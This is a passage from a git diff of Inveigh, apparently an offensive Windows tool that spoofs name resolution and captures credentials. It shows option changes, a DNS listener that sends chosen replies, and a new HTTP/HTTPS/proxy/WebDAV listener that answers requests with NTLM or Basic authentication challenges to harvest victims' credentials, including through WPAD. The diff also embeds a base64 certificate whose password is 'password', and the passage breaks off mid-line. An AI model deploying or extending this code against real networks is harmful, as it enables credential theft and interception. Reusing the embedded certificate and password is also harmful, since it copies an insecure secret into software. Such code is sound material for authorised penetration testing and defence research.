SMB2Header responseSMB2Header = new SMB2Header(); - SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(); - responseSMB2Header.Status = new byte[4] { 0x6d, 0x00, 0x00, 0xc0 }; - //responseSMB2Header.Status = new byte[4] { 0x00, 0x00, 0x00, 0x00 }; - //responseSMB2Header.Status = new byte[4] { 0x22, 0x00, 0x00, 0xc0 }; //access denied - responseSMB2Header.CreditCharge = 1; - responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; - responseSMB2Header.Command = 1; - responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 }; - responseSMB2Header.MessageId = requestSMB2Header.MessageId; - responseSMB2Header.SessionId = requestSMB2Header.SessionId; - smb2SessionSetupResponse.SecurityBufferOffset = 0; - sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse); - } - - } - break; - - } - - } - - tcpStream.Write(sendBuffer, 0, sendBuffer.Length); - tcpStream.Flush(); - } - else - { - // tcpClient.Close(); - } - + Output.Queue(String.Format("[!] Failed to start SMB listener on port {0}, check IP and port usage.", port)); + } + else + { + Output.Queue(ex.ToString()); } } diff --git a/Inveigh/Program.cs b/Inveigh/Program.cs index 98730e4..3643392 100644 --- a/Inveigh/Program.cs +++ b/Inveigh/Program.cs @@ -4,7 +4,6 @@ using System.Linq; using System.Net; using System.IO; using System.Collections; -using Quiddity.NTLM; namespace Inveigh { @@ -14,7 +13,7 @@ namespace Inveigh public static string argCert = "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"; public static string argCertPassword = "password"; public static string argChallenge = ""; - public static string argConsole = "3"; + public static string argConsole = "4"; public static string argConsoleLimit = "-1"; public static string argConsoleStatus = "0"; public static string argConsoleUnique = "Y"; @@ -40,6 +39,7 @@ namespace Inveigh public static string[] argHTTPSPorts = { "443" }; public static string argICMPv6 = "N"; public static string argICMPv6Interval = "200"; + public static string argICMPv6TTL = "1800"; public static string argInspect = "N"; public static string argIPv4 = "Y"; public static string argIPv6 = "Y"; @@ -55,7 +55,7 @@ namespace Inveigh public static string[] argLLMNRTypes = { "A" }; public static string argLogOutput = "Y"; public static string argMAC = ""; - public static string argMachineAccounts = "N"; + public static string argMachineAccount = "Y"; public static string argMDNS = "N"; public static string[] argMDNSQuestions = { "QU", "QM" }; public static string argMDNSTTL = "120"; @@ -91,6 +91,7 @@ namespace Inveigh //end parameters public static ConsoleColor colorPositive = ConsoleColor.Green; // change output colors here public static ConsoleColor colorNegative = ConsoleColor.Red; + public static ConsoleColor colorDisabled = ConsoleColor.DarkGray; public static Hashtable smbSessionTable = Hashtable.Synchronized(new Hashtable()); public static Hashtable httpSessionTable = Hashtable.Synchronized(new Hashtable()); public static IList<string> outputList = new List<string>(); @@ -132,7 +133,7 @@ namespace Inveigh public static bool enabledLLMNR = false; public static bool enabledLocal = false; public static bool enabledLogOutput = false; - public static bool enabledMachineAccounts = false; + public static bool enabledMachineAccountCapture = false; public static bool enabledMDNS = false; public static bool enabledMDNSUnicast = false; public static bool enabledNBNS = false; @@ -167,11 +168,13 @@ namespace Inveigh public static int ntlmv1UniqueCount = 0; public static int ntlmv2UniqueCount = 0; public static int cleartextUniqueCount = 0; + public static int networkInterfaceIndexIPv4 = 0; + public static int networkInterfaceIndexIPv6 = 0; public static string computerName = Environment.MachineName; public static string netbiosDomain = Environment.UserDomainName; public static string dnsDomain = ""; public static ulong smb2Session = 5548434740922023936; // todo check - public static string version = "2.0.2"; + public static string version = "2.0.3"; static void Main(string[] arguments) { @@ -336,6 +339,11 @@ namespace Inveigh argICMPv6Interval = arguments[entry.index + 1]; break; + case "-ICMPV6TTL": + case "/ICMPV6TTL": + argICMPv6TTL = arguments[entry.index + 1].ToUpper(); + break; + case "-IGNOREAGENTS": case "/IGNOREAGENTS": argIgnoreAgents = arguments[entry.index + 1].Split(','); @@ -426,9 +434,9 @@ namespace Inveigh argMAC = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", ""); break; - case "-MACHINEACCOUNTS": - case "/MACHINEACCOUNTS": - argMachineAccounts = arguments[entry.index + 1].ToUpper(); + case "-MACHINEACCOUNT": + case "/MACHINEACCOUNT": + argMachineAccount = arguments[entry.index + 1].ToUpper(); break; case "-MDNS": diff --git a/Inveigh/Protocols/LICENSE b/Inveigh/Protocols/Quiddity/LICENSE index cea2f49..651f1af 100644 --- a/Inveigh/Protocols/LICENSE +++ b/Inveigh/Protocols/Quiddity/LICENSE @@ -1,6 +1,6 @@ BSD 3-Clause License -Copyright (c) 2021, Kevin Robertson +Copyright (c) 2022, Kevin Robertson All rights reserved. Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Quiddity.sln b/Inveigh/Protocols/Quiddity/Quiddity.sln new file mode 100644 index 0000000..923fb91 --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31129.286 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quiddity", "Quiddity\Quiddity.csproj", "{C85B8A8C-8331-4ED2-8264-0C8BD7410E25}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {3310338C-F3E5-45E8-B437-85CA1022301C} + EndGlobalSection +EndGlobal diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs b/Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs new file mode 100644 index 0000000..55ff74e --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs @@ -0,0 +1,64 @@ +/* + * BSD 3-Clause License + * + * Copyright (c) 2022, Kevin Robertson + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quiddity.Clients +{ + class SMBClient + { + internal void Connect(string ipAddress, int port) + { + TCPClient tcpClient = new TCPClient(ipAddress, port); + tcpClient.Connect(ipAddress, port); + } + + internal void Negotiate(string ipAddress, int port) + { + + } + + internal void Authenticate(string ipAddress, int port) + { + + } + + internal void SCMExecute(string ipAddress, int port) + { + + } + + } + +} diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs b/Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs new file mode 100644 index 0000000..4748eed --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs @@ -0,0 +1,47 @@ +/* + * BSD 3-Clause License + * + * Copyright (c) 2022, Kevin Robertson + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +using System; +using System.Net; +using System.Net.Sockets; + +namespace Quiddity.Clients +{ + public class TCPClient : TcpClient + { + public TCPClient(string ipAddress, int port) : base(ipAddress, port) + { + this.Client.ReceiveTimeout = 60000; + this.ExclusiveAddressUse = false; + } + + } +} diff --git a/Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs index 04cf106..8d7b90e 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without @@ -127,7 +127,14 @@ namespace Quiddity break; } - byte[] clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress; + DHCPv6DUIDLL duid = new DHCPv6DUIDLL(packet.Option1.DUID); + byte[] clientMACData = new DHCPv6DUIDLL(packet.Option1.DUID).LinkLayerAddress; + + if (duid.DUIDType == 1) + { + clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress; + } + string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":"); string clientHostName = ""; diff --git a/Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs index dea3004..efdd8bd 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without @@ -31,6 +31,7 @@ */ using Quiddity.DNS; using System; +using System.IO; using System.Net; using System.Net.Sockets; @@ -94,7 +95,6 @@ namespace Quiddity protected virtual void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6) { string clientIP = ipEndPoint.Address.ToString(); - DNSPacket packet = new DNSPacket(data) { Host = this.Host, @@ -103,15 +103,32 @@ namespace Quiddity if (packet.Header.IsQuery()) { + + if (!packet.Header.IsDynamicUpdateRequest()) + { + + if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message)) + { + byte[] buffer; + buffer = packet.GetBytes(this.TTL, this.Serial, replyIP, replyIPv6); + SendTo(buffer, udpListener, ipEndPoint); + } - if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message)) + Output("DNS", clientIP, packet.Question.Name, packet.Question.Type, message); + } + else { - byte[] buffer; - buffer = packet.GetBytes(this.TTL, this.Serial, replyIP, replyIPv6); - SendTo(buffer, udpListener, ipEndPoint); + byte[] flags = new byte[2] { 0xa8, 0x05 }; + byte[] dnsPayload = new byte[data.Length - 2]; + System.Buffer.BlockCopy(data, 2, dnsPayload, 0, dnsPayload.Length); + MemoryStream dnsMemoryStream = new MemoryStream(); + dnsMemoryStream.Write(data, 0, data.Length); + dnsMemoryStream.Position = 2; + dnsMemoryStream.Write(flags, 0, 2); + SendTo(dnsMemoryStream.ToArray(), udpListener, ipEndPoint); + } - Output("DNS", clientIP, packet.Question.Name, packet.Question.Type, message); } } diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs new file mode 100644 index 0000000..f31e8e4 --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs @@ -0,0 +1,540 @@ +/* + * BSD 3-Clause License + * + * Copyright (c) 2022, Kevin Robertson + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +using Quiddity.HTTP; +using Quiddity.NTLM; +using System; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Threading; +using System.Security.Cryptography.X509Certificates; +using System.Security.Authentication; +using System.Net.Security; +using Quiddity.Support; +using System.Collections; + +namespace Quiddity +{ + class HTTPListener + { + public bool EnabledWebDAV { get; set; } + public string Cert { get; set; } + public string CertPassword { get; set; } + public string[] IgnoreAgents { get; set; } + public string HTTPAuth { get; set; } + public string WebDAVAuth { get; set; } + public string WPADAuth { get; set; } + public string HTTPRealm { get; set; } + public string HTTPResponse { get; set; } + public string WPADResponse { get; set; } + public string Challenge { get; set; } + public string NetbiosDomain { get; set; } + public string ComputerName { get; set; } + public string DNSDomain { get; set; } + + public static bool isRunning = false; + public const SslProtocols tls12 = (SslProtocols)0x00000C00; + public static Hashtable httpSessionTable = Hashtable.Synchronized(new Hashtable()); + + public HTTPListener() + { + this.EnabledWebDAV = true; + this.IgnoreAgents = new string[] {"Firefox"}; + this.HTTPAuth = "NTLM"; + this.WebDAVAuth = "NTLM"; + this.WPADAuth = "NTLM"; + this.HTTPRealm = "temp"; + this.NetbiosDomain = "temp"; + this.ComputerName = "temp"; + this.DNSDomain = "temp"; + } + + internal void Start(IPAddress ipAddress, int port, string type) + { + TCPListener tcpListener = new TCPListener(ipAddress, port); + IAsyncResult tcpAsync; + + try + { + tcpListener.Start(); + isRunning = true; + + if (type.Equals("Proxy")) + { + tcpListener.Server.LingerState = new LingerOption(true, 0); + } + + if (tcpListener.Server.IsBound) + { + + while (isRunning) + { + + try + { + tcpAsync = tcpListener.BeginAcceptTcpClient(null, null); + + do + { + Thread.Sleep(10); + + if (!isRunning) + { + break; + } + + } + while (!tcpAsync.IsCompleted); + + TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync); + object[] parameters = { tcpClient, type, port }; + ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters); + } + catch (Exception ex) + { + OutputError(ex, type, port); + } + + } + + } + + } + catch (Exception ex) + { + OutputError(ex, type, port); + } + + } + + internal void ReceiveClient(object parameters) + { + object[] parameterArray = parameters as object[]; + TcpClient tcpClient = (TcpClient)parameterArray[0]; + string type = (string)parameterArray[1]; + int port = (int)parameterArray[2]; + + try + { + string[] supportedMethods = { "GET", "HEAD", "OPTIONS", "CONNECT", "POST", "PROPFIND" }; + string sourceIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); + string sourcePort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); + string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); + string session = sourceIP + ":" + sourcePort; + string ntlmChallenge = ""; + int ntlmStage = 0; + bool proxyIgnoreMatch = false; + bool wpadAuthIgnoreMatch = false; + NetworkStream tcpStream = null; + NetworkStream httpStream = null; + SslStream httpsStream = null; + X509Certificate2 certificate = null; + bool isClientClose = false; + + if (type.Equals("HTTPS")) + { + byte[] certificateData = Convert.FromBase64String(Cert); + certificate = new X509Certificate2(certificateData, CertPassword, X509KeyStorageFlags.MachineKeySet); + tcpStream = tcpClient.GetStream(); + httpsStream = new SslStream(tcpStream, false); + } + else + { + httpStream = tcpClient.GetStream(); + } + + while (tcpClient.Connected && isRunning) + { + byte[] requestData = new byte[4096]; + + if (type.Equals("HTTPS")) + { + + do + { + Thread.Sleep(100); + } + while (!tcpStream.DataAvailable && tcpClient.Connected); + + } + else + { + + do + { + Thread.Sleep(100); // todo check + } + while (!httpStream.DataAvailable && tcpClient.Connected); + + } + + if (String.Equals(type, "HTTPS")) + { + + try + { + + if (!httpsStream.IsAuthenticated) + { + httpsStream.AuthenticateAsServer(certificate, false, tls12, false); + } + + while (tcpStream.DataAvailable) + { + httpsStream.Read(requestData, 0, requestData.Length); + } + + } + catch (Exception ex) + { + + if (!ex.Message.Contains("A call to SSPI failed, see inner exception.")) // todo check + { + Console.WriteLine(ex.Message); + } + + } + + } + else + { + + while (httpStream.DataAvailable) + { + httpStream.Read(requestData, 0, requestData.Length); + } + + } + + HTTPRequest request = new HTTPRequest(); + + if (!Utilities.ArrayIsNullOrEmpty(requestData)) + { + request.ReadBytes(requestData, 0); + } + + if (!string.IsNullOrEmpty(request.Method)) + { + OutputRequestMethod(type, listenerPort, sourceIP, sourcePort, request.URI, request.Method); + } + + if (!string.IsNullOrEmpty(request.URI)) + { + OutputHostHeader(type, listenerPort, sourceIP, sourcePort, request.Host); + } + + if (!string.IsNullOrEmpty(request.UserAgent)) + { + OutputUserAgent(type, listenerPort, sourceIP, sourcePort, request.UserAgent); + } + + if (!string.IsNullOrEmpty(request.Method) && Array.Exists(supportedMethods, element => element == request.Method)) + { + + HTTPResponse response = new HTTPResponse + { + Version = "HTTP/1.1", + StatusCode = "401", + ReasonPhrase = "Unauthorized", + Connection = "close", + Server = "Microsoft-HTTPAPI/2.0", + Date = DateTime.Now.ToString("R"), + ContentType = "text/html", + ContentLength = "0" + }; + + if (!Utilities.ArrayIsNullOrEmpty(IgnoreAgents) && WPADAuth.Equals("NTLM")) + { + + foreach (string agent in IgnoreAgents) + { + + if (request.UserAgent.ToUpper().Contains(agent.ToUpper())) + { + wpadAuthIgnoreMatch = true; + } + + } + + if (wpadAuthIgnoreMatch) + { + OutputIgnore(type, listenerPort, sourceIP, sourcePort, "switching wpad.dat auth to anonymous due to user agent match"); // todo make better + } + + } + + if (type.Equals("Proxy")) + { + response.StatusCode = "407"; + response.ProxyAuthenticate = "NTLM"; + response.WWWAuthenticate = ""; + response.Connection = "close"; + } + else if (EnabledWebDAV && request.Method.Equals("PROPFIND") && WebDAVAuth.StartsWith("NTLM")) + { + response.WWWAuthenticate = "NTLM"; + } + else if (EnabledWebDAV && request.Method.Equals("PROPFIND") && WebDAVAuth.Equals("BASIC")) + { + response.WWWAuthenticate = string.Concat("Basic realm=", HTTPRealm); + } + else if (!string.Equals(request.URI, "/wpad.dat") && string.Equals(HTTPAuth, "ANONYMOUS") || string.Equals(request.URI, "/wpad.dat") && string.Equals(WPADAuth, "ANONYMOUS") || wpadAuthIgnoreMatch || + (EnabledWebDAV && request.Method.Equals("OPTIONS"))) + { + response.StatusCode = "200"; + response.ReasonPhrase = "OK"; + } + else if ((HTTPAuth.StartsWith("NTLM") && !string.Equals(request.URI, "/wpad.dat")) || (WPADAuth.StartsWith("NTLM") && string.Equals(request.URI, "/wpad.dat"))) + { + response.WWWAuthenticate = "NTLM"; + } + else if ((string.Equals(HTTPAuth, "BASIC") && !string.Equals(request.URI, "/wpad.dat")) || (string.Equals(WPADAuth, "BASIC") && string.Equals(request.URI, "/wpad.dat"))) + { + response.WWWAuthenticate = string.Concat("Basic realm=", HTTPRealm); + } + + if ((!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("NTLM ")) || (!string.IsNullOrEmpty(request.ProxyAuthorization)) && request.ProxyAuthorization.ToUpper().StartsWith("NTLM ")) + { + string authorization = request.Authorization; + + if (!string.IsNullOrEmpty(request.ProxyAuthorization)) + { + authorization = request.ProxyAuthorization; + } + + NTLMNegotiate ntlm = new NTLMNegotiate(); + ntlm.ReadBytes(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), 0); + + if (ntlm.MessageType == 1) + { + byte[] timestamp = 